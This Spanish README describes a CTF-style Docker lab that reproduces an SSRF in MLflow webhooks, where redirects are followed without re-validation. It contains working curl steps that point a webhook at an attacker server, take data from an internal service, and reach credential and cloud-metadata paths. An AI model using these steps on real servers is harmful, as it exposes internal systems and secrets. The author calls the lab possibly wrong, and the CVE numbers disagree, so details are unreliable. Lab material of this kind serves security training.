
este laboratorio puede estar bien o mal preguntale a la IA estoy probando pero debe funcionar hahahah
CVE-2026-64849 · MLflow < 3.15.0 · Server-Side Request Forgery (SSRF)
Laboratorio práctico y reproduce el CVE-2026-64849: una vulnerabilidad de
tipo SSRF en MLflow causada por un defecto TOCTOU (Time-of-Check /
Time-of-Use) en el manejo de webhooks. MLflow valida la URL original del
webhook pero sigue redirects HTTP (302) sin re-validar el destino, lo que
permite a un atacante sin autenticación alcanzar servicios internos a los que
no debería tener acceso (internal-service:8888).
Uso restringido: material de laboratorio, únicamente para redes y entornos autorizados. Ver Aviso legal.
| Atributo | Valor |
|---|
| Vulnerabilidad | CVE-2026-64849 — SSRF via Webhook Redirect Bypass |
| Componente afectado | MLflow Tracking Server (< 3.15.0) |
| Versión del lab | MLflow 3.13.0 (sin modificar, vía pip install) |
| Causa raíz | TOCTOU: valida la URL, sigue el 302 sin re-validar |
| Vector | HTTP; sin autenticación |
| Severidad declarada | CRÍTICA (CVSS 9.3) — según banner del exploit del lab |
| Resultado | Acceso a servicios internos, robo de credenciales, port scanning |
| Duración estimada | 15–20 minutos |
| Nivel | Intermedio (Web App Security / Offensive Security) |
MLflow permite registrar webhooks que disparan peticiones HTTP ante eventos (datos de modelos, experimentos, etc.). Antes de guardar la URL se aplica una validación (esquema, IPs privadas, metadata IP). El fallo ocurre porque:
3xx, la librería
requests sigue el redirect automáticamente y nunca re-validan la URL
de destino.El atacante controla el primer salto (un servidor que responde 302 a un
servicio interno) y MLflow hace de proxy hacia la red interna.
Ver análisis técnico completo en EXPLOITATION_GUIDE.md §6.
Al finalizar el lab el estudiante será capaz de:
/test y
exfiltración del servicio interno.Público: estudiantes y profesionales de seguridad ofensiva, pentesters, revisores de seguridad de aplicaciones, y desarrolladores que usan MLflow.
Requisitos de software:
| Herramienta | Versión mínima |
|---|---|
| Docker + Docker Compose | Docker 20.x / Compose v2 |
curl | — |
jq | 1.6+ |
bash | — |
No se requieren credenciales ni autenticación en MLflow (el ataque es unauthenticated). No es necesario acceso a la red interna: el lab la proporciona.
host red interna de Docker (lab_network)
┌──────────────────────────────┐ ┌────────────────────────────────────────────────┐
│ atacante (curl / bash) │ │ │
│ │ │ │ mlflow-vulnerable attacker_server │
│ ▼ │ │ (5000, MLflow 3.13.0) (8080, responder 302) │
│ http://localhost:5000 │ │ │ webhook URL ▲ │
│ http://localhost:8080 │ │ ▼───────────────────────┘ │
│ http://localhost:8888 ✗ │ │ │ 302 Location: internal-service │
│ │ │ ▼ (SSRF, sigue el redirect) │
│ │ │ internal-service (8888) ← SIN puertos al │
│ │ │ "/admin/secret" host │
│ │ └───────────────────────────────────────────────┘
└──────────────────────────────┘
| Componente | Puerto | Rol en el lab | ¿Modificado? |
|---|---|---|---|
mlflow-vulnerable | 5000 | Víctima / cliente vulnerable (MLflow 3.13.0 stock) | No |
attacker-server | 8080 | Servidor del atacante: /webhook → 302, /redirect?url=, /metadata, dashboard | Solo do_HEAD |
internal-service | 8888 | Víctima en lab_network; /admin/secret y /api/internal/config | No |
Detalle de integridad: el servicio vulnerable y el servicio interno no han sido modificados. Ver EXPLOITATION_GUIDE.md §14.
cd mlflow-ssrf-lab
bash run_lab.sh start # levanta los 3 contenedores y espera a MLflow
bash run_lab.sh exploit # explota automáticamente (SSRF → bandera del Nivel 1)
Demo guiada paso a paso (menú interactivo):
bash manual_exploitation_interactive.sh
🏁 Modalidad CTF (resolución MANUAL): el lab es un reto por niveles. Cada
bandera te deja la pista del siguiente nivel, así llegar a cada flag "tiene
sentido". Y el chiste es hacerlo a mano: ctf_lab.sh no explota por ti,
solo te guía y valida tu flag:
bash ctf_lab.sh # menú interactivo del CTF
bash ctf_lab.sh nivel 1 # instrucciones + pista del nivel (comandos para EJECUTAR TÚ MANUALMENTE)
bash ctf_lab.sh flag '<flag>' # validar el flag que exfiltraste y decodificaste (+pts)
bash ctf_lab.sh status # niveles completados + puntuación (235 pts, sin mostrar flags)
bash ctf_lab.sh hint 2 # pista de un nivel
bash ctf_lab.sh reset # borrar progreso
Referencias del script run_lab.sh:
bash run_lab.sh start # start (default) + status endpoint
bash run_lab.sh exploit # ejecuta exploit.py dentro del contenedor mlflow
bash run_lab.sh manual # muestra los comandos curl paso a paso
bash run_lab.sh logs # sigue los logs en tiempo real
bash run_lab.sh stop # detiene contenedores
bash run_lab.sh clean # detiene y elimina datos del lab
Todas las llamadas a
/testrequieren el headerContent-Type: application/json; sin él, MLflow 3.13 responde400 Bad Request.
# 1. Crear el webhook apuntando al servidor del atacante (redirige a la raíz del portal interno, Nivel 1)
WEBHOOK_ID=$(curl -s -X POST http://localhost:5000/api/2.0/mlflow/webhooks \
-H "Content-Type: application/json" \
-d '{"name":"ssrf_test","url":"http://attacker_server:8080/webhook","events":[{"entity":"MODEL_VERSION","action":"CREATED"}]}' \
| jq -r '.webhook.webhook_id')
# 2. Disparar /test → MLflow valida la URL, sigue el 302 hasta el servicio interno
curl -X POST "http://localhost:5000/api/2.0/mlflow/webhooks/$WEBHOOK_ID/test" \
-H "Content-Type: application/json" -d '{}'
# 3. Extraer los datos exfiltrados (anidados en result.response_body)
curl -s -X POST "http://localhost:5000/api/2.0/mlflow/webhooks/$WEBHOOK_ID/test" \
-H "Content-Type: application/json" -d '{}' \
| jq -r '.result.response_body | fromjson'
Resultado esperado del paso 3 (Nivel 1 del CTF):
{
"service": "internal-admin-portal",
"banner": "Portal administrativo interno — solo alcanzable desde la red interna",
"nivel": 1,
"flag_enc": "ZmxhZ3tuMV9lbnVtZXJhY2lvbl9zc3JmfQ==",
"flag_decoding": "echo ZmxhZ3tuMV9lbnVtZXJhY2lvbl9zc3JmfQ== | base64 -d",
"pista": "El portal expone recursos bajo /admin/ y /api/. Busca credenciales de administrador."
}
El flag viaja cifrado (flag_enc) y la propia respuesta te da el comando
para decodificarlo (flag_decoding). El objetivo
es exfiltralo por SSRF y decodificarlo; y su pista te conduce al
Nivel 2. El detalle paso a paso, análisis del bug
y remediación están en EXPLOITATION_GUIDE.md.
El lab es un CTF por niveles progresivos: cada bandera deja una pista que
conduce al siguiente destino, de modo que llegar a cada flag tiene sentido.
Todos los niveles se resuelven con la misma técnica base (SSRF vía redirect),
elevando la dificultad de la técnica y del descubrimiento.
| Nivel | Técnica / descubrimiento | Destino (SSRF) | Flag | Puntos |
|---|---|---|---|---|
| 1 | Redirect básico | internal-service:8888/ | base64 | 10 |
| 2 | Enumeración de /admin/ | internal-service:8888/admin/secret | hex | 25 |
| 3 | Enumeración de /api/ | internal-service:8888/api/internal/config | base64 | 40 |
| 4 | Cloud metadata (IMDS) | internal-service:8888/latest/meta-data/... | base64 + rev | 60 |
| 5 (FINAL) | Blind SSRF + descubrir servicio oculto en puerto 8889 | internal-service:8889/admin/final | XOR + base64 | 100 |
Los flags viajan cifrados en el campo
flag_encde la respuesta y cada respuesta incluyeflag_decoding(el comando exacto para decodificarlo). El flag en claroflag{...}no aparece en ningún script ni doc: hay que exfiltrarlo vía SSRF y decodificarlo (los scripts automáticos no muestran flags).
Regla del lab: flag solo por SSRF exitoso (exfiltración real de datos
del servicio interno vía redirect). Lo que no es SSRF o no es reproducible en
el lab no da flag (p. ej. el /metadata directo del attacker, DNS
rebinding, túnel whcli, scan ciego sin exfiltración).
Jugar: bash ctf_lab.sh (menú interactivo). Resolución manual por niveles
en REDTEAM_GUIDE.md (ejercicio ofensivo comando a comando) y
EXPLOITATION_GUIDE.md (procedimiento técnico completo).
Durante la consolidación del lab se aplicaron las siguientes correcciones, ya verificadas y reflejadas en todos los comandos de la documentación:
| # | Corrección | Impacto |
|---|---|---|
| 1 | POST /test ahora envía Content-Type: application/json (y -d '{}') | Elimina el 400 Bad Request de MLflow 3.13 y el fallo jq: null al extraer response_body |
| 2 | attacker_server.py soporta método HEAD (do_HEAD) | curl -I .../webhook devuelve 302 Found en lugar de 501 Unsupported method |
| 3 | Uso de la API real POST /api/2.0/mlflow/webhooks | Evita el 405 de rutas que no existen (/webhooks/create) |
CVE-2026-29000-poc-lab/
├── README.md ← Este archivo (índice / portada del lab)
├── REDTEAM_GUIDE.md ← Ejercicio manual en clave red team: recon → hipótesis → exploit
├── EXPLOITATION_GUIDE.md ← Procedimiento completo del lab (SSRF, variaciones, integridad)
├── manual_exploitation_interactive.sh ← Demo interactiva paso a paso (menú)
└── mlflow-ssrf-lab/ ← Código y orquestación del lab
├── docker-compose.yml ← 3 contenedores (mlflow, attacker, internal)
├── exploit.py ← Exploit automatizado (se ejecuta dentro del contenedor)
├── attacker_server.py ← Servidor del atacante (302 configurable)
├── internal_service.py ← Servicio interno "protegido" (portal 8888 + servicio oculto 8889)
├── ctf_lab.sh ← Guía manual del CTF (instrucciones + pistas + validador de flags)
├── run_lab.sh ← start / exploit / manual / logs / stop / clean
└── mlflow_data/ ← Datos generados (BD sqlite, artefactos)
lab_network de
Docker; no expone el servicio interno al host.exploit.py es una herramienta de verificación del lab y se ejecuta
dentro del contenedor de MLflow, sobre la red interna simulada (ver
EXPLOITATION_GUIDE.md §14).